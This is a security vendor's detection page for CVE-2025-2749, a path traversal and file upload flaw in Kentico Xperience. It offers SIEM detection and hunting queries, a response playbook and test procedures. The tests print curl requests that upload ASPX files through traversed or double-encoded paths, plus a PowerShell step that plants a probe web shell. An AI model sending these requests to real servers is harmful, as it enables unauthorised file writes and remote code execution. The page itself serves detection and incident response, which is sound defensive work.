CVE-2025-2749

Kentico Xperience Path Traversal and Arbitrary File Upload (CVE-2025-2749)

Initial Access Execution Persistence Last updated:

Detects exploitation of CVE-2025-2749, a path traversal and unrestricted file upload vulnerability in Kentico Xperience CMS. Attackers can traverse directory boundaries to write arbitrary files — including web shells — to locations outside the intended upload path, enabling remote code execution on the hosting server. This CVE is listed in the CISA Known Exploited Vulnerabilities catalog.

Vulnerability Intelligence

KEV — Known Exploited

Affected Software

Vendor
Kentico
Product
Kentico Xperience

Weakness (CWE)

CWE-22CWE-434

Timeline

Disclosed
April 20, 2026

CVSS

7.2
High (7.0–8.9)

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Write-up coming soon

What is CVE-2025-2749 Kentico Xperience Path Traversal and Arbitrary File Upload (CVE-2025-2749)?

Kentico Xperience Path Traversal and Arbitrary File Upload (CVE-2025-2749) (CVE-2025-2749) maps to the Initial Access and Execution and Persistence tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for Kentico Xperience Path Traversal and Arbitrary File Upload (CVE-2025-2749), covering the data sources and telemetry it touches: IIS Logs, Azure App Service HTTP Logs, Microsoft Defender for Endpoint Network Events. The queries below are rated critical severity at high confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Execution Persistence
Microsoft Sentinel / Defender
kusto 
let suspiciousExtensions = dynamic(['.aspx', '.asp', '.ashx', '.asmx', '.config', '.php', '.jsp', '.exe', '.dll', '.bat', '.cmd', '.ps1', '.sh']);
let kenticoUploadPaths = dynamic(['/kentico/', '/cmspages/', '/cmsformcontrols/', '/cmsmodules/', '/getfile/', '/uploadfile/']);
union DeviceNetworkEvents, W3CIISLog, AppServiceHTTPLogs
| where TimeGenerated >= ago(24h)
| where RequestUri has_any (kenticoUploadPaths)
| where RequestUri matches regex @"\.\.[\/\\]"
    or RequestUri has "%2e%2e"
    or RequestUri has "%252e"
    or RequestUri has "..%2f"
    or RequestUri has "..%5c"
| extend FileExt = extract(@"(\.[a-zA-Z0-9]{2,5})(?:\?|$)", 1, tolower(RequestUri))
| where FileExt in (suspiciousExtensions) or HttpMethod == "POST"
| project TimeGenerated, ClientIP, RequestUri, HttpMethod, HttpStatus, FileExt, UserAgent, SiteName
| order by TimeGenerated desc

Detects HTTP requests to Kentico Xperience upload endpoints containing path traversal sequences or targeting executable file extensions that may indicate CVE-2025-2749 exploitation attempts.

critical severity high confidence

Data Sources

IIS Logs Azure App Service HTTP Logs Microsoft Defender for Endpoint Network Events

Required Tables

W3CIISLog AppServiceHTTPLogs DeviceNetworkEvents

False Positives

  • Legitimate file uploads by content editors using filenames that happen to contain dots
  • Security scanners or vulnerability assessment tools running authorized scans against the CMS
  • URL-encoded characters in legitimate multilingual content paths

Sigma rule & cross-platform mapping

The detection logic for Kentico Xperience Path Traversal and Arbitrary File Upload (CVE-2025-2749) (CVE-2025-2749) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource: 

logsource:
  category: network_connection
  product: windows

Browse the community-maintained Sigma rules for this technique:

SigmaHQ rules for CVE-2025-2749 Sigma rules on detection.fyi

Platform-specific guides for CVE-2025-2749

Detect in Microsoft Sentinel (KQL) Detect in Splunk (SPL) Detect in Elastic Security (Elastic) Detect in IBM QRadar (QRadar) Detect in Sumo Logic CSE (Sumo) Detect in Google Chronicle (YARA-L) Detect in CrowdStrike LogScale (LogScale)
Last updated: 2026-06-19 Research depth: standard
References (2)

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Kentico Path Traversal Upload Simulation

    Expected signal: IIS access log records a POST to /kentico/cmsformcontrols/uploader.ashx with a filename parameter containing '../..' sequences; file creation event may appear in Windows Security log under w3wp.exe

  2. Test 2Encoded Path Traversal Bypass Attempt

    Expected signal: IIS log shows double-encoded percent sequences in the request URL; WAF logs may show allowed request if only basic traversal patterns are blocked

  3. Test 3Web Shell Execution Post-Exploit Simulation

    Expected signal: Windows Security Event ID 4663 fires for file creation under w3wp.exe; DeviceFileEvents in Defender shows .aspx file written by w3wp.exe; subsequent HTTP GET to the shell path appears in IIS logs

Response Playbook

Triage

  1. Identify the source IP(s) triggering the alert and determine whether they are internal, known scanner ranges, or external threat actors; cross-reference with threat intelligence feeds.
  2. Review the full HTTP request including headers, body size, and response code — a 200 response to a POST containing traversal sequences strongly indicates successful exploitation; a 500 may indicate a partial attempt.
  3. Inspect the IIS/web server file system at the Kentico application root and all parent directories for newly created or recently modified files with extensions .aspx, .ashx, .asmx, .php, .jsp, or .config within the past 24 hours.
  4. Check IIS worker process (w3wp.exe) for any child process spawning — web shell execution typically results in w3wp.exe spawning cmd.exe, powershell.exe, or net.exe.

Containment

  1. If active exploitation is confirmed, immediately block the source IP(s) at the perimeter firewall and WAF, and disable the vulnerable Kentico upload endpoint via IIS request filtering rules until patching is complete.
  2. Isolate the affected web server from internal network segments to prevent lateral movement if a web shell has been deployed; redirect legitimate traffic to a clean standby instance if available.

Evidence Collection

  1. Preserve a full copy of IIS access logs, error logs, and Windows Event Logs (Security, System, Application) from the affected host, covering at minimum 48 hours prior to detection.
  2. Collect a forensic image or at minimum a file system listing (with hash and timestamps) of the Kentico application directory and all subdirectories to identify planted web shells or modified files.

Escalation Criteria

  • ! Escalate immediately if any web shell file is found on disk or if w3wp.exe is observed spawning interactive processes — this indicates full Remote Code Execution and should trigger IR procedures.
  • ! Escalate if outbound connections from the web server to external IPs are observed post-exploitation, indicating possible C2 communication or data exfiltration.

Investigation Guide

Forensic Artifacts

  • > IIS W3C access log entries with URI fields containing double-dot sequences (%2e%2e, ../, ..%2f) targeting /kentico/ or /cmspages/ paths
  • > Newly created .aspx or .ashx files in non-standard Kentico directories (outside /CMSTemplates/ or /CMSPages/) with timestamps correlating to the attack window
  • > Windows Security Event ID 4663 (file creation auditing) for executable-type files written by the w3wp.exe process
  • > Kentico CMS event log entries (stored in the CMS_EventLog database table) showing file upload operations with anomalous destination paths

Tuning Guidance

Reduce false positives by scoping the query to only servers running Kentico Xperience (filter by hostname, IIS site name, or server tag). Add a whitelist of known IP ranges for authorized vulnerability scanners. If the organization uses Kentico's built-in media library, create an allowlist of legitimate upload paths and exclude them from traversal detection. Consider raising the threshold to require both a path traversal pattern AND a suspicious file extension match to reduce noise from generic scanners. For the process-spawning query, baseline normal w3wp.exe child processes in your environment before alerting — some .NET monitoring agents legitimately spawn sub-processes from IIS.

Hunting Queries

Hunts for IIS worker process (w3wp.exe) spawning suspicious child processes, which is a strong indicator of web shell execution following successful CVE-2025-2749 exploitation.

Hunting — KQL
kql 
DeviceProcessEvents
| where TimeGenerated >= ago(72h)
| where InitiatingProcessFileName =~ "w3wp.exe"
| where FileName in~ ("cmd.exe", "powershell.exe", "net.exe", "whoami.exe", "ipconfig.exe", "certutil.exe", "curl.exe", "wget.exe")
| project TimeGenerated, DeviceName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, AccountName
| order by TimeGenerated desc
Hunting — SPL
spl 
index=windows EventCode=4688 ParentImage="*\\w3wp.exe"
| where Image IN ("*\\cmd.exe", "*\\powershell.exe", "*\\net.exe", "*\\whoami.exe", "*\\certutil.exe", "*\\curl.exe")
| table _time, host, Image, CommandLine, ParentCommandLine, User

Hunts for w3wp.exe creating or writing script/executable files in Kentico application directories, indicating web shell deployment via CVE-2025-2749.

Hunting — KQL
kql 
DeviceFileEvents
| where TimeGenerated >= ago(72h)
| where InitiatingProcessFileName =~ "w3wp.exe"
| where FileExtension in~ ("aspx", "asp", "ashx", "asmx", "php", "jsp", "config")
| where FolderPath !has "\\Temp\\"
| project TimeGenerated, DeviceName, FolderPath, FileName, FileExtension, InitiatingProcessCommandLine
| order by TimeGenerated desc
Hunting — SPL
spl 
index=wineventlog EventCode=4663 ObjectType=File
| where match(ObjectName, "(?i)\.(aspx|asp|ashx|php|jsp|config)$")
| where match(ProcessName, "(?i)w3wp\.exe")
| where Accesses IN ("WriteData", "CreateFile")
| table _time, host, ObjectName, ProcessName, SubjectUserName

Atomic Red Team Tests

Test 1 Kentico Path Traversal Upload Simulation
linux

Simulates an attacker sending a multipart POST request to a Kentico file upload endpoint with a path traversal sequence in the filename parameter, attempting to write a file outside the intended upload directory.

Command

bash 
curl -s -o /dev/null -w "%{http_code}" -X POST 'http://TARGET_HOST/kentico/cmsformcontrols/uploader.ashx' \
  -H 'Content-Type: multipart/form-data' \
  -F 'file=@/tmp/test.txt;filename=../../inetpub/wwwroot/test_traversal.aspx' \
  -F 'action=upload' \
  -A 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'

Cleanup

bash 
# On the target server (if request succeeded): Remove-Item C:\inetpub\wwwroot\test_traversal.aspx -ErrorAction SilentlyContinue

Expected Telemetry

IIS access log records a POST to /kentico/cmsformcontrols/uploader.ashx with a filename parameter containing '../..' sequences; file creation event may appear in Windows Security log under w3wp.exe

Expected Detection

KQL and SPL queries trigger on the path traversal pattern in the request URI; Elastic EQL sequence rule fires if a corresponding .aspx file is created on disk

Test 2 Encoded Path Traversal Bypass Attempt
linux

Tests double URL-encoding bypass of WAF rules that only detect literal '../' by encoding the traversal sequence as %252e%252e%252f.

Command

bash 
curl -s -o /dev/null -w "%{http_code}" -X POST 'http://TARGET_HOST/kentico/uploadfile/%252e%252e%252f%252e%252e%252fwebshell.aspx' \
  -H 'Content-Type: application/octet-stream' \
  --data-binary '<%@ Page Language="C#" %><% Response.Write("test"); %>' \
  -A 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)'

Cleanup

bash 
# Check for and remove any created file: Get-ChildItem -Path C:\inetpub -Recurse -Filter webshell.aspx | Remove-Item

Expected Telemetry

IIS log shows double-encoded percent sequences in the request URL; WAF logs may show allowed request if only basic traversal patterns are blocked

Expected Detection

Chronicle YARA-L and QRadar AQL rules that match on %252e trigger; Sumo Logic toLowerCase normalization catches the encoded variant

Test 3 Web Shell Execution Post-Exploit Simulation
windows

Simulates post-exploitation behavior by invoking a pre-placed test web shell (non-malicious) via HTTP GET to confirm RCE detection coverage from spawned processes.

Command

powershell 
# Step 1: Place a benign test shell (lab only, no real commands)
Set-Content -Path 'C:\inetpub\wwwroot\kentico\test_shell_probe.aspx' -Value '<%@ Page Language="C#" %><% Response.Write(System.Environment.MachineName); %>'
# Step 2: Request it
Invoke-WebRequest -Uri 'http://localhost/kentico/test_shell_probe.aspx' -UseBasicParsing | Select-Object -ExpandProperty Content

Cleanup

powershell 
Remove-Item 'C:\inetpub\wwwroot\kentico\test_shell_probe.aspx' -ErrorAction SilentlyContinue

Expected Telemetry

Windows Security Event ID 4663 fires for file creation under w3wp.exe; DeviceFileEvents in Defender shows .aspx file written by w3wp.exe; subsequent HTTP GET to the shell path appears in IIS logs

Expected Detection

Elastic EQL sequence rule correlates the file creation event with the preceding POST; hunting query for w3wp.exe-written script files triggers in KQL and SPL

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002ExecutionTA0003Persistence

Related Techniques

T1190Exploit Public-Facing ApplicationT1505.003Web ShellT1083File and Directory Discovery

Same Tactic: Initial Access

Popular Detections